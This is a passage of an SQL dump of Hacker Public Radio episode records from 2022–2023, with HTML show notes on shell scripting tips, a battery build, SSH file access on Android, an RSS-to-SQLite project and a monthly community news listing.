target=_blank>https://www.datacenterdynamics.com/en/news/quantum-computing-firm-d-wave-to-ipo-via-16bn-spac-merger</a></li>\r\n<li>Alphabet\'s attempt at longer living: <a href=\"https://www.calicolabs.com\" target=_blank>https://www.calicolabs.com</a></li>\r\n<li>The Fly: <a href=\"https://www.imdb.com/title/tt0091064/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt0091064/?ref_=fn_al_tt_1</a></li>\r\n<li>Hello! Magazine: <a href=\"https://www.hellomagazine.com\" target=_blank>https://www.hellomagazine.com</a></li>\r\n<li>Jeff Bezo\'s purgatory: <a href=\"https://www.livemint.com/companies/people/amazon-founder-jeff-bezos-divorce-with-mackenzie-bezos-final-with-38-billion-settlement-report-1562387250690.html\" target=_blank>https://www.livemint.com/companies/people/amazon-founder-jeff-bezos-divorce-with-mackenzie-bezos-final-with-38-billion-settlement-report-1562387250690.html</a></li>\r\n<li>Internet Archive: <a href=\"https://archive.org\" target=_blank>https://archive.org</a></li>\r\n<li>The GNU World Order: <a href=\"https://gnuworldorder.info\" target=_blank>https://gnuworldorder.info</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Time-travel, DeLorean, D-Wave, Hello! Magazine, Calico Labs',0,0,1),
(3625,'2022-06-24','Shell Tips and Snippets - Collaborative Effort',1225,'Carl and special guests provide some shell tips and examples.','<p>Carl talks about a method to move function definitions to the bottom of a script using sed:</p>\n<pre><code>#!/bin/sh\nsource &lt;(sed &#39;1,/^exit/ d&#39; $0)\n\n__say &quot;hello&quot;\n\nexit\n\n__say()\n{\n    echo $1\n}\n</code></pre>\n<p>Guest Host #1 (scroll to the bottom to ruin the surprise) talks about the shift command using this example:</p>\n<pre class=\"bash\"><code>startdate=&quot;$1&quot; # Pick up date\nshift\ndays=0\n\n# Loop through args and create events\nwhile [ $1 ] ; do # as many times as you add a timestamp\n        [ $1 != &quot;off&quot; ] &amp;&amp; khal new $(date -j -v+&quot;$days&quot;d -f %Y-%m-%d +%Y-%m-%d $startdate) $1 8H Work\n        let days++\n        shift\ndone\n</code></pre>\n<p>Guest Host #2 provides tips and examples on how to use variables safely and politely provide default values. One example of assigning a default value is:</p>\n<pre><code>foo=${foo:-&quot;blah&quot;}\n</code></pre>\n<p>Carl then closes out with the : (colon) shell builtin and provides a variation on the above default value:</p>\n<pre><code>: ${foo:=&quot;blah&quot;}\n</code></pre>\n',380,42,0,'CC-BY-SA','shell',0,0,1),
(3628,'2022-06-29','Building a Mobile Computer Battlestation: Extended Power Supply',1235,'Mobile computer Battlestation part 1; 16 cell power supply and BMS','<p>At the end, I am a little disappointed in the performance. One of the cell banks was discharging quicker than the others, but I replaced it and it is much more efficient now.</p>\n<p>All the cells were salvaged from old laptops.</p>\n<p><em>Figure 0.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig0.1.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.1_thumbnail.1.png\" alt=\"Figure 0.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 0.2</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig0.2.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.2_thumbnail.2.png\" alt=\"Figure 0.2\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 0.3</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.3.png\" alt=\"Figure 0.3\" /></p>\n<p><em>Figure 1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig1_thumbnail.jpg\" alt=\"Figure 1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.0_thumbnail.0.jpg\" alt=\"Figure 2.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.1_thumbnail.1.jpg\" alt=\"Figure 2.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.2</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.2.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.2_thumbnail.2.jpg\" alt=\"Figure 2.2\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.3</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.3.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.3_thumbnail.3.jpg\" alt=\"Figure 2.3\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig3.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig3_thumbnail.jpg\" alt=\"Figure 3\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 4</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig4.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig4_thumbnail.jpg\" alt=\"Figure 4\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 5</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig5.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig5_thumbnail.jpg\" alt=\"Figure 5\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 6</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig6.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig6_thumbnail.jpg\" alt=\"Figure 6\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 7</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig7.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig7_thumbnail.jpg\" alt=\"Figure 7\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 8</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig8.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig8_thumbnail.jpg\" alt=\"Figure 8\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 9</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig9.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig9_thumbnail.jpg\" alt=\"Figure 9\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 10</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig10.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig10_thumbnail.jpg\" alt=\"Figure 10\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 11.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig11.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig11.0_thumbnail.0.jpg\" alt=\"Figure 11.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 11.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig11.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig11.1_thumbnail.1.jpg\" alt=\"Figure 11.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 12.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig12.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig12.0_thumbnail.0.jpg\" alt=\"Figure 12.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 12.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig12.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig12.1_thumbnail.1.jpg\" alt=\"Figure 12.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n',401,0,0,'CC-BY-SA','computer,mobile,bms,power',0,0,1),
(3632,'2022-07-05','Intro to web scraping with Python',1915,'Using requests and Beautiful Soup to scrape websites','<p>A beginner introduction to web scraping with Python.</p>\n',78,25,0,'CC-BY-SA','python, web, internet',0,0,1),
(3633,'2022-07-06','The collective history of RAID controller brands',821,'Computer memory is a generic term for all of the different types of data storage technology that a c','<p><a href=\"https://www.enterprisestorageforum.com/hardware/types-of-computer-memory/\" class=\"uri\">https://www.enterprisestorageforum.com/hardware/types-of-computer-memory/</a></p>\n',129,0,0,'CC-BY-SA','memory, sdram,ddr, dram, ssd, hhd',0,0,1),
(3652,'2022-08-02','Registered memory',690,'Not to be confused with ECC memory, although memory modules often use both technologies.','<p><a href=\"https://en.wikipedia.org/wiki/Registered_memory\" class=\"uri\">https://en.wikipedia.org/wiki/Registered_memory</a></p>\n<p><a href=\"https://www.futureplus.com/ddr4-3ds-dimms-the-next-big-thing-in-the-data-center/\" class=\"uri\">https://www.futureplus.com/ddr4-3ds-dimms-the-next-big-thing-in-the-data-center/</a></p>\n',129,0,0,'CC-BY-SA','R-Dimm,DD4,3DS',0,0,1),
(3635,'2022-07-08','A short podcast on a nice tool called system-monitoring-center',243,'This is a short podcast on a nice tool called system-monitoring-center','<p>GitHub repo where you can find system-monitoring-center:<br />\n<a href=\"https://github.com/hakandundar34coding/system-monitoring-center\" class=\"uri\">https://github.com/hakandundar34coding/system-monitoring-center</a></p>\n',369,23,0,'CC-BY-SA','system-monitoring-center, linux',0,0,1),
(3638,'2022-07-13','Ken drops a bear on his android phone',316,'How to enable sftp using a sshd server on android/lineageos','<p>I have previously used <a href=\"https://f-droid.org/en/packages/org.primftpd/\" class=\"uri\">https://f-droid.org/en/packages/org.primftpd/</a> to enable sftp to my android phone</p>\r\n<p>For more information on How to mount remote storage using sshfs, see <a href=\"https://hackerpublicradio.org/eps.php?id=1944\">hpr1944 :: sshfs - Secure SHell FileSystem</a></p>\r\n<p>Also you will need to know about some useful tools for working with Android Devices <a href=\"https://hackerpublicradio.org/eps.php?id=3515\">hpr3515 :: ADB and scrcpy</a></p>\r\n<p><img src=\"eps/hpr3638/thumb-01-simplesshd-icon.png\" alt=\"simplesshd-icon\" /></p>\r\n<p>I found <a href=\"https://www.galexander.org/software/simplesshd/\" class=\"uri\">https://www.galexander.org/software/simplesshd/</a></p>\r\n<p>SimpleSSHD is an SSH2 server based on dropbear that supports scp, sftp, and rsync. It only supports public-key based authentication (no password/interactive auth except for bootstrapping). It does not use root, which means it must listen on a port over 1024 (defaults to port 2222).</p>\r\n<h2 id=\"install-from-fdroid\">Install from fdroid</h2>\r\n<p><a href=\"https://f-droid.org/en/packages/org.galexander.sshd\" class=\"uri\">https://f-droid.org/en/packages/org.galexander.sshd</a></p>\r\n<p><a href=\"eps/hpr3638/02-SimpleSSHD.jpeg\"><img src=\"eps/hpr3638/thumb-02-SimpleSSHD.jpeg\" alt=\"Start Screen\" /></a> </p>\r\n<p><a href=\"eps/hpr3638/03-port-number.jpeg\"><img src=\"eps/hpr3638/thumb-03-port-number.jpeg\" alt=\"Changing Port Number\" /></a> </p>\r\n<p><a href=\"eps/hpr3638/04-path.jpeg\"><img src=\"eps/hpr3638/thumb-04-path.jpeg\" alt=\"Changing Path\" /></a> </p>\r\n<h2 id=\"before\">before</h2>\r\n<pre>\r\nlaptop$ adb root\r\nlaptop$ adb shell\r\nphone: # cd /data/user/0/org.galexander.sshd/files\r\nphone:/data/user/0/org.galexander.sshd/files # ls -al\r\ntotal 56\r\ndrwxrwx--x 2 u0_a268 u0_a268 4096 2022-06-17 12:06 .\r\ndrwx------ 6 u0_a268 u0_a268 4096 2022-06-17 11:59 ..\r\n-rw-rw-rw- 1 root    root     490 2022-06-17 12:05 authorized_keys\r\n-rw------- 1 u0_a268 u0_a268  475 2022-06-17 12:07 dropbear.err\r\n-rw------- 1 u0_a268 u0_a268  650 2022-06-17 12:03 dropbear.err.old\r\n-rw------- 1 u0_a268 u0_a268    6 2022-06-17 12:06 dropbear.pid\r\n-rw------- 1 u0_a268 u0_a268   83 2022-06-17 12:03 dropbear_ed25519_host_key\r\n</pre>\r\n<h2 id=\"commands-to-run\">Commands to run</h2>\r\n<pre>\r\nphone:/data/user/0/org.galexander.sshd/files # restorecon -F authorized_keys\r\nSELinux: Loaded file_contexts\r\nphone:/data/user/0/org.galexander.sshd/files # chmod 600 authorized_keys\r\nphone:/data/user/0/org.galexander.sshd/files # chown u0_a268:u0_a268 authorized_keys\r\n</pre>\r\n<h2 id=\"after\">after</h2>\r\n<pre>\r\nphone:/data/user/0/org.galexander.sshd/files # ls -al\r\ntotal 56\r\ndrwxrwx--x 2 u0_a268 u0_a268 4096 2022-06-17 12:06 .\r\ndrwx------ 6 u0_a268 u0_a268 4096 2022-06-17 11:59 ..\r\n-rw------- 1 u0_a268 u0_a268  490 2022-06-17 12:05 authorized_keys\r\n-rw------- 1 u0_a268 u0_a268  475 2022-06-17 12:07 dropbear.err\r\n-rw------- 1 u0_a268 u0_a268  650 2022-06-17 12:03 dropbear.err.old\r\n-rw------- 1 u0_a268 u0_a268    6 2022-06-17 12:06 dropbear.pid\r\n-rw------- 1 u0_a268 u0_a268   83 2022-06-17 12:03 dropbear_ed25519_host_key\r\n\r\nlaptop$ sshfs -p 2222 192.168.1.123: /mnt/phone/\r\n</pre>\r\n',30,0,0,'CC-BY-SA','SimpleSSHD,SSH2,dropbear,android,lineageos,primitive ftpd',0,0,1),
(3642,'2022-07-19','Interview with a Hacker: Vitaliy',5954,'We go back ... WAY BACK to golden days of hacking','<p>Lost interview I never uploaded!</p>\n',36,0,1,'CC-BY-SA','interviews,hacking,pentesting',0,0,1),
(3645,'2022-07-22','How to set up a small Linux Wireguard VPN',855,'I set up a small VPN and wrote a blog post about it. This is just an audiorecording of that','<p>The blogpost where I describe how to set up a Wireguard VPN network:<br />\n<a href=\"https://www.jeroenbaten.nl/the-complete-guide-to-setting-up-a-multi-peer-wireguard-vpn/\" class=\"uri\">https://www.jeroenbaten.nl/the-complete-guide-to-setting-up-a-multi-peer-wireguard-vpn/</a></p>\n',369,61,0,'CC-BY-SA','wireguard,linux, vpn',0,0,1),
(3648,'2022-07-27','A response to tomorrows show',1682,'Ken brings the DeLorean up to 141.6Kph to address monochromec\'s comment on stats','<hr />\r\n<h3>\r\nCounter Point\r\n</h3>\r\n<p>\r\nThis show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3649\">hpr3649 :: Linux Inlaws S01E61: 20 years in review</a>\r\n</p>\r\n<hr />\r\n<p><em>There are three kinds of lies: <a href=\"https://en.wikipedia.org/wiki/Lies%2C_damned_lies%2C_and_statistics\">Lies, damned lies, and statistics</a></em></p>\r\n<p>In today\'s show we discover that Hacker Public Radio is <strong>not</strong> a Podcast Hosting Platform.</p>\r\n<p>Each day your show will be heard by as many people as can squeeze into the main auditorium at FOSDEM, or between two and three <a href=\"https://en.wikipedia.org/wiki/Airbus_A380\">Airbus A380-800</a>. You know the big double decker passenger plane. Every month we have on average 33,584 downloads, that\'s about 40 fully loaded <a href=\"https://en.wikipedia.org/wiki/Airbus_A380\">Airbus A380-800</a>.</p>\r\n<p><a href=\"https://commons.wikimedia.org/wiki/File:FOSDEM%2712_-_Opening_Talk.jpg\"><img src=\"eps/hpr3648/thumb-FOSDEM12-Opening_Talk.jpg\" alt=\"\" /></a></p>\r\n<p>Podcast \"Hosting\" Sites, like Spotify, Apple Podcast or Google Podcasts, etc. do not host the media, they are essentially monetizing Hacker Public Radio content. And we are all absolutely fine with that because our shows are released under a <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">Creative Commons Attribution-ShareAlike 3.0 Unported license</a>.</p>\r\n<p><a href=\"eps/hpr3648/10-actual_hpr_downloads.png\"><img src=\"eps/hpr3648/thumb-10-actual_hpr_downloads.png\" alt=\"actual_hpr_downloads\" /></a></p>\r\n<p>Every one of those dots is a download that is <strong>not without cost</strong>, but is provided <strong>entirely free of charge</strong> to us by our kind hosting Provider <a href=\"https://anhonesthost.com/hosting/shared-hosting\">AnHonestHost.com</a> and the volunteer project <a href=\"https://archive.org/donate/\">the Internet Archive</a>. Both of which donates terabytes of storage and data transfer to us for free.</p>\r\n<p>The people to thank are our own <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=174\">Josh Knapp</a> over at <a href=\"https://anhonesthost.com/hosting/shared-hosting\">AnHonestHost.com</a>, who provides the Hacker Public Radio web site.</p>\r\n<p>And <a href=\"https://archive.org/donate/\">the Internet Archive</a> which is an American digital library with the stated mission of \"universal access to all knowledge\", who provide hosting for the media.</p>\r\n<p>\r\n<strong>For more details, <a href=\"eps/hpr3648/index.html\">see the full show notes</a>.</strong>\r\n</p>\r\n',30,0,1,'CC-BY-SA','statistics,syndication,reality',0,0,1),
(3637,'2022-07-12','HPR feed to Sqlite',454,'First step in creating a static copy of HPR','<ul>\n<li>Mailing list discussion - Source Code for the HPR website\n<ul>\n<li>What are the best ways to reproduce the HPR site using a static site generator.</li>\n<li>I would like the DB to be made public, but I understand why that may not be possible</li>\n</ul></li>\n</ul>\n<p>One interesting thing I read during the discussion is Ken said Every thing needed to recreate an HPR site is in the feed</p>\n<ul>\n<li>Challenge accepted\n<ul>\n<li>A lot of my toy projects have been around RSS and podcasts</li>\n<li>I am working on a Episode describing a project I did looking for podcasts that have podfaded.</li>\n<li>I starting thinking about what data is in the feed and thinking through a process for using the RSS data to recreate the HPR site</li>\n</ul></li>\n<li>Project\n<ul>\n<li>Link to Project <a href=\"https://gitlab.com/norrist/hprfeed2db\" class=\"uri\">https://gitlab.com/norrist/hprfeed2db</a></li>\n</ul></li>\n<li>DATA pulled directly from feed\n<ul>\n<li><p>explicit</p></li>\n<li><p>title</p></li>\n<li><p>author_name</p></li>\n<li><p>author_email</p></li>\n<li><p>link</p></li>\n<li><p>description</p></li>\n<li><p>summary - I think this is the same as description</p></li>\n<li><p>pubdate</p></li>\n<li><p>enclosures</p></li>\n<li><p>Episode ID - extracted from title - HPR2341</p></li>\n<li><p>feedparser and peewee</p></li>\n<li><p>full feed to SQLite specs</p>\n<ul>\n<li>40 Seconds on <strong>My Machine</strong></li>\n<li>20M hpr.sqlite</li>\n</ul></li>\n</ul></li>\n<li>Notably Missing from the RSS feeds\n<ul>\n<li>Episode Series</li>\n<li>Episode Tags</li>\n</ul></li>\n<li>Next steps\n<ul>\n<li>markdown from db info\n<ul>\n<li>Main page</li>\n<li>Corespondent pages</li>\n<li>Episode pages</li>\n<li>comments from comments feed</li>\n</ul></li>\n<li>Manually build other markdown for static pages</li>\n<li>about, contributing, ...</li>\n<li>Static site generator</li>\n<li>I don\'t think the tags are in the feed data</li>\n</ul></li>\n</ul>\n<pre class=\"bash\"><code>git clone https://gitlab.com/norrist/hprfeed2db\ncd hprfeed2db/\npython3 -m venv venv\nsource venv/bin/activate\npip install feedparser peewee\npython data_models.py\npython feed.py\nsqlite3 hpr.sqlite &quot;select count(*) from episode&quot;</code></pre>\n',342,0,0,'CC-BY-SA','python, rss, sqlite',0,0,1),
(3916,'2023-08-07','HPR Community News for July 2023',4533,'HPR Volunteers talk about shows released and comments posted in July 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html\" target=\"_blank\">3891</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3891/index.html\" target=\"_blank\">HPR Community News for June 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html\" target=\"_blank\">3892</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3892/index.html\" target=\"_blank\">Emacs package curation, part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3893/index.html\" target=\"_blank\">3893</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3893/index.html\" target=\"_blank\">Game card design resources</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html\" target=\"_blank\">3894</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3894/index.html\" target=\"_blank\">The Page 42 Show: Ugly News Week, Show\'s Epoch!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0420.html\" target=\"_blank\">HopperMCS</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3895/index.html\" target=\"_blank\">3895</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3895/index.html\" target=\"_blank\">What\'s in my backpack</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0408.html\" target=\"_blank\">Stache_AF</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html\" target=\"_blank\">3896</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html\" target=\"_blank\">The Brochs of Glenelg</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3897/index.html\" target=\"_blank\">3897</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3897/index.html\" target=\"_blank\">HPR AudioBook Club 22 - Murder at Avedon Hill</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3898/index.html\" target=\"_blank\">3898</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3898/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3899/index.html\" target=\"_blank\">3899</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3899/index.html\" target=\"_blank\">Repair corrupt video files for free with untruc</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0383.html\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html\" target=\"_blank\">3900</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3900/index.html\" target=\"_blank\">Preparing Podcasts for Listening</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html\" target=\"_blank\">3901</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3901/index.html\" target=\"_blank\">Time Managment</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html\" target=\"_blank\">3902</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3902/index.html\" target=\"_blank\">Introduction to a new series on FFMPEG</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0300.html\" target=\"_blank\">Mr. Young</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html\" target=\"_blank\">3903</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3903/index.html\" target=\"_blank\">Why I don\'t love systemd (yet)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0073.html\" target=\"_blank\">deepgeek</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html\" target=\"_blank\">3904</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html\" target=\"_blank\">How to make friends</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3905/index.html\" target=\"_blank\">3905</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3905/index.html\" target=\"_blank\">Presenting Fred Black</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0309.html\" target=\"_blank\">folky</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3906/index.html\" target=\"_blank\">3906</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3906/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3907/index.html\" target=\"_blank\">3907</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-07-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3907/index.html\" target=\"_blank\">My introduction show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3908/index.html\" target=\"_blank\">3908</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-07-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3908/index.html\" target=\"_blank\">Emacs package curation, part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html\" target=\"_blank\">3909</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-07-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3909/index.html\" target=\"_blank\">Permission tickets. </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0398.html\" target=\"_blank\">one_of_spoons</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html\" target=\"_blank\">3910</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-07-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3910/index.html\" target=\"_blank\">Playing Civilization II</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3911/index.html\" target=\"_blank\">3911</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-07-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3911/index.html\" target=\"_blank\">An overview of the \'ack\' command</a></td>\n<td><a 